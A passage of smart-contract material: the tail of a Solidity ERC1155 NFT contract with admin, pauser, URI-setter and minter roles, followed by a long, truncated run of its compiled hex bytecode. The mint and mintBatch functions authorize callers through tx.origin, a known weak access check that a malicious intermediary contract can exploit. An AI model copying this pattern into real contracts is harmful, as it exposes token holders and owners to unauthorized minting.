keccak256("URI_SETTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); string public name; constructor(string memory _name) ERC1155("https://nft.ohdat.org/v1/") { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(URI_SETTER_ROLE, msg.sender); _setupRole(PAUSER_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); name = _name; } function uri(uint256 _id)public override view returns (string memory) { string memory id = uint2str(_id); string memory baseURI = super.uri(_id); return string(abi.encodePacked(baseURI,id)); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function setURI(string memory newuri) public { require(hasRole(URI_SETTER_ROLE, msg.sender)); _setURI(newuri); } function pause() public { require(hasRole(PAUSER_ROLE, msg.sender)); _pause(); } function unpause() public { require(hasRole(PAUSER_ROLE, msg.sender)); _unpause(); } function mint(address account, uint256 id, uint256 amount, bytes memory data) public { require(hasRole(MINTER_ROLE, tx.origin)); _mint(account, id, amount, data); } function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public { require(hasRole(MINTER_ROLE, tx.origin)); _mintBatch(to, ids, amounts, data); } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } function supportsInterface(bytes4 interfaceId) public view override(ERC1155, AccessControl) returns (bool){ return super.supportsInterface(interfaceId); } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80636b20c454116100de578063a22cb46511610097578063e63ab1e911610071578063e63ab1e914610458578063e985e9c514610476578063f242432a146104a6578063f5298aca146104c25761018d565b8063a22cb46514610402578063d53913931461041e578063d547741f1461043c5761018d565b80636b20c45414610354578063731133e9146103705780637f3457101461038c5780638456cb59146103aa57806391d14854146103b4578063a217fddf146103e45761018d565b8063248a9ca31161014b57806336568abe1161012557806336568abe146102e05780633f4ba83a146102fc5780634e1273f4146103065780635c975abb146103365761018d565b8063248a9ca3146102785780632eb2c2d6146102a85780632f2ff15d146102c45761018d565b8062fdd58e1461019257806301ffc9a7146101c257806302fe5305146101f257806306fdde031461020e5780630e89341c1461022c5780631f7fdffa1461025c575b600080fd5b6101ac60048036038101906101a79190613503565b6104de565b6040516101b99190613f9f565b60405180910390f35b6101dc60048036038101906101d791906136da565b6105a7565b6040516101e99190613d27565b60405180910390f35b61020c6004803603810190610207919061372c565b6105b9565b005b6102166105f8565b6040516102239190613d5d565b60405180910390f35b6102466004803603810190610241919061376d565b610686565b6040516102539190613d5d565b60405180910390f35b6102766004803603810190610271919061341c565b6106cd565b005b610292600480360381019061028d9190613675565b610712565b60405161029f9190613d42565b60405180910390f35b6102c260048036038101906102bd919061324f565b610732565b005b6102de60048036038101906102d9919061369e565b6107d3565b005b6102fa60048036038101906102f5919061369e565b6107fc565b005b61030461087f565b005b610320600480360381019061031b9190613609565b6108bc565b60405161032d9190613cce565b60405180910390f35b61033e610a6d565b60405161034b9190613d27565b60405180910390f35b61036e6004803603810190610369919061339d565b610a84565b005b61038a6004803603810190610385919061358e565b610b21565b005b610394610b66565b6040516103a19190613d42565b60405180910390f35b6103b2610b8a565b005b6103ce60048036038101906103c9919061369e565b610bc7565b6040516103db9190613d27565b60405180910390f35b6103ec610c32565b6040516103f99190613d42565b60405180910390f35b61041c600480360381019061041791906134c7565b610c39565b005b610426610dba565b6040516104339190613d42565b60405180910390f35b6104566004803603810190610451919061369e565b610dde565b005b610460610e07565b60405161046d9190613d42565b60405180910390f35b610490600480360381019061048b9190613213565b610e2b565b60405161049d9190613d27565b60405180910390f35b6104c060048036038101906104bb919061330e565b610ebf565b005b6104dc60048036038101906104d7919061353f565b610f60565b005b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561054f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054690613dff565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006105b282610ffd565b9050919050565b6105e37f7804d923f43a17d325d77e781528e0793b2edd9890ab45fc64efd7b4b427744c33610bc7565b6105ec57600080fd5b6105f581611077565b50565b6005805461060590614381565b80601f016020809104026020016040519081016040528092919081815260200182805461063190614381565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b505050505081565b6060600061069383611091565b905060006106a084611266565b905080826040516020016106b5929190613b93565b60405160208183030381529060405292505050919050565b6106f77f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a632610bc7565b61070057600080fd5b61070c848484846112fa565b50505050565b600060036000838152602001908152602001600020600101549050919050565b61073a611564565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610780575061077f8561077a611564565b610e2b565b5b6107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690613e9f565b60405180910390fd5b6107cc858585858561156c565b5050505050565b6107dc82610712565b6107ed816107e8611564565b6118cc565b6107f78383611969565b505050565b610804611564565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086890613f7f565b60405180910390fd5b61087b8282611a4a565b5050565b6108a97f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a33610bc7565b6108b257600080fd5b6108ba611b2c565b565b60608151835114610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990613f1f565b60405180910390fd5b6000835167ffffffffffffffff811115610945577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156109735781602001602082028036833780820191505090505b50905060005b8451811015610a6257610a0c8582815181106109be577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518583815181106109ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516104de565b828281518110610a45577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080610a5b906143e4565b9050610979565b508091505092915050565b6000600460009054906101000a900460ff16905090565b610a8c611564565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610ad25750610ad183610acc611564565b610e2b565b5b610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890613e3f565b60405180910390fd5b610b1c838383611bce565b505050565b610b4b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a632610bc7565b610b5457600080fd5b610b6084848484611ecb565b50505050565b7f7804d923f43a17d325d77e781528e0793b2edd9890ab45fc64efd7b4b427744c81565b610bb47f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a33610bc7565b610bbd57600080fd5b610bc5612061565b565b60006003600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000801b81565b8173ffffffffffffffffffffffffffffffffffffffff16610c58611564565b73ffffffffffffffffffffffffffffffffffffffff161415610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690613eff565b60405180910390fd5b8060016000610cbc611564565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610d69611564565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610dae9190613d27565b60405180910390a35050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610de782610712565b610df881610df3611564565b6118cc565b610e028383611a4a565b505050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610ec7611564565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610f0d5750610f0c85610f07611564565b610e2b565b5b610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4390613e3f565b60405180910390fd5b610f598585858585612104565b5050505050565b610f68611564565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610fae5750610fad83610fa8611564565b610e2b565b5b610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe490613e3f565b60405180910390fd5b610ff8838383612386565b505050565b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611070575061106f826125a3565b5b9050919050565b806002908051906020019061108d929190612ef6565b5050565b606060008214156110d9576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611261565b600082905060005b6000821461110b5780806110f4906143e4565b915050600a8261110491906141cb565b91506110e1565b60008167ffffffffffffffff81111561114d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561117f5781602001600182028036833780820191505090505b50905060008290505b600086146112595760018161119d9190614256565b90506000600a80886111af91906141cb565b6111b991906141fc565b876111c49190614256565b60306111d09190614194565b905060008160f81b905080848481518110611214577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8861125091906141cb565b97505050611188565b819450505050505b919050565b60606002805461127590614381565b80601f01602080910402602001604051908101604052809291908181526020018280546112a190614381565b80156112ee5780601f106112c3576101008083540402835291602001916112ee565b820191906000526020600020905b8154815290600101906020018083116112d157829003601f168201915b50505050509050919050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561136a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136190613f5f565b60405180910390fd5b81518351146113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590613f3f565b60405180910390fd5b60006113b8611564565b90506113c981600087878787612685565b60005b84518110156114ce5783818151811061140e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600080878481518110611452577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114b4919061413e565b9250508190555080806114c6906143e4565b9150506113cc565b508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051611546929190613cf0565b60405180910390a461155d816000878787876126e3565b5050505050565b600033905090565b81518351146115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790613f3f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161790613e7f565b60405180910390fd5b600061162a611564565b905061163a818787878787612685565b60005b8451811015611837576000858281518110611681577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060008583815181106116c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175e90613edf565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461181c919061413e565b9250508190555050505080611830906143e4565b905061163d565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516118ae929190613cf0565b60405180910390a46118c48187878787876126e3565b505050505050565b6118d68282610bc7565b611965576118fb8173ffffffffffffffffffffffffffffffffffffffff1660146128ca565b6119098360001c60206128ca565b60405160200161191a929190613bb7565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195c9190613d5d565b60405180910390fd5b5050565b6119738282610bc7565b611a465760016003600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506119eb611564565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b611a548282610bc7565b15611b285760006003600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611acd611564565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b611b34610a6d565b611b73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6a90613ddf565b60405180910390fd5b6000600460006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611bb7611564565b604051611bc49190613bf1565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3590613ebf565b60405180910390fd5b8051825114611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7990613f3f565b60405180910390fd5b6000611c8c611564565b9050611cac81856000868660405180602001604052806000815250612685565b60005b8351811015611e45576000848281518110611cf3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000848381518110611d38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600080600084815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090613e1f565b60405180910390fd5b81810360008085815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050508080611e3d906143e4565b915050611caf565b50600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051611ebd929190613cf0565b60405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3290613f5f565b60405180910390fd5b6000611f45611564565b9050611f6681600087611f5788612bc4565b611f6088612bc4565b87612685565b8260008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fc5919061413e565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051612043929190613fba565b60405180910390a461205a81600087878787612c8a565b5050505050565b612069610a6d565b156120a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a090613e5f565b60405180910390fd5b6001600460006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586120ed611564565b6040516120fa9190613bf1565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216b90613e7f565b60405180910390fd5b600061217e611564565b905061219e81878761218f88612bc4565b61219888612bc4565b87612685565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015612235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222c90613edf565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122ea919061413e565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051612367929190613fba565b60405180910390a461237d828888888888612c8a565b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ed90613ebf565b60405180910390fd5b6000612400611564565b90506124308185600061241287612bc4565b61241b87612bc4565b60405180602001604052806000815250612685565b600080600085815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be90613e1f565b60405180910390fd5b82810360008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051612594929190613fba565b60405180910390a45050505050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061266e57507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061267e575061267d82612e71565b5b9050919050565b61268d610a6d565b156126cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c490613e5f565b60405180910390fd5b6126db868686868686612edb565b505050505050565b6127028473ffffffffffffffffffffffffffffffffffffffff16612ee3565b156128c2578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b8152600401612748959493929190613c0c565b602060405180830381600087803b15801561276257600080fd5b505af192505050801561279357506040513d601f19601f820116820180604052508101906127909190613703565b60015b6128395761279f6144e9565b806308c379a014156127fc57506127b4614a48565b806127bf57506127fe565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f39190613d5d565b60405180910390fd5b505b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283090613d7f565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146128c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b790613dbf565b60405180910390fd5b505b505050505050565b6060600060028360026128dd91906141fc565b6128e7919061413e565b67ffffffffffffffff811115612926577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156129585781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106129b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110612a40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002612a8091906141fc565b612a8a919061413e565b90505b6001811115612b76577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110612af2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b828281518110612b2f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080612b6f90614357565b9050612a8d565b5060008414612bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bb190613d9f565b60405180910390fd5b8091505092915050565b60606000600167ffffffffffffffff811115612c09577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612c375781602001602082028036833780820191505090505b5090508281600081518110612c75577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080915050919050565b612ca98473ffffffffffffffffffffffffffffffffffffffff16612ee3565b15612e69578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b8152600401612cef959493929190613c74565b602060405180830381600087803b158015612d0957600080fd5b505af1925050508015612d3a57506040513d601f19601f82011682018060405250810190612d379190613703565b60015b612de057612d466144e9565b806308c379a01415612da35750612d5b614a48565b80612d665750612da5565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9a9190613d5d565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd790613d7f565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614612e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5e90613dbf565b60405180910390fd5b505b505050505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b505050505050565b600080823b905060008111915050919050565b828054612f0290614381565b90600052602060002090601f016020900481019282612f245760008555612f6b565b82601f10612f3d57805160ff1916838001178555612f6b565b82800160010185558215612f6b579182015b82811115612f6a578251825591602001919060010190612f4f565b5b509050612f789190612f7c565b5090565b5b80821115612f95576000816000905550600101612f7d565b5090565b6000612fac612fa784614008565b613fe3565b90508083825260208201905082856020860282011115612fcb57600080fd5b60005b85811015612ffb5781612fe188826130ed565b845260208401935060208301925050600181019050612fce565b5050509392505050565b600061301861301384614034565b613fe3565b9050808382526020820190508285602086028201111561303757600080fd5b60005b85811015613067578161304d88826131fe565b84526020840193506020830192505060018101905061303a565b5050509392505050565b600061308461307f84614060565b613fe3565b90508281526020810184848401111561309c57600080fd5b6130a7848285614315565b509392505050565b60006130c26130bd84614091565b613fe3565b9050828152602081018484840111156130da57600080fd5b6130e5848285614315565b509392505050565b6000813590506130fc81614ade565b92915050565b600082601f83011261311357600080fd5b8135613123848260208601612f99565b91505092915050565b600082601f83011261313d57600080fd5b813561314d848260208601613005565b91505092915050565b60008135905061316581614af5565b92915050565b60008135905061317a81614b0c565b92915050565b60008135905061318f81614b23565b92915050565b6000815190506131a481614b23565b92915050565b600082601f8301126131bb57600080fd5b81356131cb848260208601613071565b91505092915050565b600082601f8301126131e557600080fd5b81356131f58482602086016130af565b91505092915050565b60008135905061320d81614b3a565b92915050565b6000806040838503121561322657600080fd5b6000613234858286016130ed565b9250506020613245858286016130ed565b9150509250929050565b600080600080600060a0868803121561326757600080fd5b6000613275888289016130ed565b9550506020613286888289016130ed565b945050604086013567ffffffffffffffff8111156132a357600080fd5b6132af8882890161312c565b935050606086013567ffffffffffffffff8111156132cc57600080fd5b6132d88882890161312c565b925050608086013567ffffffffffffffff8111156132f557600080fd5b613301888289016131aa565b9150509295509295909350565b600080600080600060a0868803121561332657600080fd5b6000613334888289016130ed565b9550506020613345888289016130ed565b9450506040613356888289016131fe565b9350506060613367888289016131fe565b925050608086013567ffffffffffffffff81111561338457600080fd5b613390888289016131aa565b9150509295509295909350565b6000806000606084860312156133b257600080fd5b60006133c0868287016130ed565b935050602084013567ffffffffffffffff8111156133dd57600080fd5b6133e98682870161312c565b925050604084013567ffffffffffffffff81111561340657600080fd5b6134128682870161312c565b9150509250925092565b6000806000806080858703121561343257600080fd5b6000613440878288016130ed565b945050602085013567ffffffffffffffff81111561345d57600080fd5b6134698782880161312c565b935050604085013567ffffffffffffffff81111561348657600080fd5b6134928782880161312c565b925050606085013567ffffffffffffffff8111156134af57600080fd5b6134bb878288016131aa565b91505092959194509250565b600080604083850312156134da57600080fd5b60006134e8858286016130ed565b92505060206134f985828601613156565b9150509250929050565b6000806040838503121561351657600080fd5b6000613524858286016130ed565b9250506020613535858286016131fe565b9150509250929050565b60008060006060848603121561355457600080fd5b6000613562868287016130ed565b9350506020613573868287016131fe565b9250506040613584868287016131fe565b9150509250925092565b600080600080608085870312156135a457600080fd5b60006135b2878288016130ed565b94505060206135c3878288016131fe565b93505060406135d4878288016131fe565b925050606085013567ffffffffffffffff8111156135f157600080fd5b6135fd878288016131aa565b91505092959194509250565b6000806040838503121561361c57600080fd5b600083013567ffffffffffffffff81111561363657600080fd5b61364285828601613102565b925050602083013567ffffffffffffffff81111561365f57600080fd5b61366b8582860161312c565b9150509250929050565b60006020828403121561368757600080fd5b60006136958482850161316b565b91505092915050565b600080604083850312156136b157600080fd5b60006136bf8582860161316b565b92505060206136d0858286016130ed565b9150509250929050565b6000602082840312156136ec57600080fd5b60006136fa84828501613180565b91505092915050565b60006020828403121561371557600080fd5b600061372384828501613195565b91505092915050565b60006020828403121561373e57600080fd5b600082013567ffffffffffffffff81111561375857600080fd5b613764848285016131d4565b91505092915050565b60006020828403121561377f57600080fd5b600061378d848285016131fe565b91505092915050565b60006137a28383613b75565b60208301905092915050565b6137b78161428a565b82525050565b60006137c8826140d2565b6137d28185614100565b93506137dd836140c2565b8060005b8381101561380e5781516137f58882613796565b9750613800836140f3565b9250506001810190506137e1565b5085935050505092915050565b6138248161429c565b82525050565b613833816142a8565b82525050565b6000613844826140dd565b61384e8185614111565b935061385e818560208601614324565b6138678161450b565b840191505092915050565b600061387d826140e8565b6138878185614122565b9350613897818560208601614324565b6138a08161450b565b840191505092915050565b60006138b6826140e8565b6138c08185614133565b93506138d0818560208601614324565b80840191505092915050565b60006138e9603483614122565b91506138f482614529565b604082019050919050565b600061390c602083614122565b915061391782614578565b602082019050919050565b600061392f602883614122565b915061393a826145a1565b604082019050919050565b6000613952601483614122565b915061395d826145f0565b602082019050919050565b6000613975602b83614122565b915061398082614619565b604082019050919050565b6000613998602483614122565b91506139a382614668565b604082019050919050565b60006139bb602983614122565b91506139c6826146b7565b604082019050919050565b60006139de601083614122565b91506139e982614706565b602082019050919050565b6000613a01602583614122565b9150613a0c8261472f565b604082019050919050565b6000613a24603283614122565b9150613a2f8261477e565b604082019050919050565b6000613a47602383614122565b9150613a52826147cd565b604082019050919050565b6000613a6a602a83614122565b9150613a758261481c565b604082019050919050565b6000613a8d601783614133565b9150613a988261486b565b601782019050919050565b6000613ab0602983614122565b9150613abb82614894565b604082019050919050565b6000613ad3602983614122565b9150613ade826148e3565b604082019050919050565b6000613af6602883614122565b9150613b0182614932565b604082019050919050565b6000613b19602183614122565b9150613b2482614981565b604082019050919050565b6000613b3c601183614133565b9150613b47826149d0565b601182019050919050565b6000613b5f602f83614122565b9150613b6a826149f9565b604082019050919050565b613b7e816142fe565b82525050565b613b8d816142fe565b82525050565b6000613b9f82856138ab565b9150613bab82846138ab565b91508190509392505050565b6000613bc282613a80565b9150613bce82856138ab565b9150613bd982613b2f565b9150613be582846138ab565b91508190509392505050565b6000602082019050613c0660008301846137ae565b92915050565b600060a082019050613c2160008301886137ae565b613c2e60208301876137ae565b8181036040830152613c4081866137bd565b90508181036060830152613c5481856137bd565b90508181036080830152613c688184613839565b90509695505050505050565b600060a082019050613c8960008301886137ae565b613c9660208301876137ae565b613ca36040830186613b84565b613cb06060830185613b84565b8181036080830152613cc28184613839565b90509695505050505050565b60006020820190508181036000830152613ce881846137bd565b905092915050565b60006040820190508181036000830152613d0a81856137bd565b90508181036020830152613d1e81846137bd565b90509392505050565b6000602082019050613d3c600083018461381b565b92915050565b6000602082019050613d57600083018461382a565b92915050565b60006020820190508181036000830152613d778184613872565b905092915050565b60006020820190508181036000830152613d98816138dc565b9050919050565b60006020820190508181036000830152613db8816138ff565b9050919050565b60006020820190508181036000830152613dd881613922565b9050919050565b60006020820190508181036000830152613df881613945565b9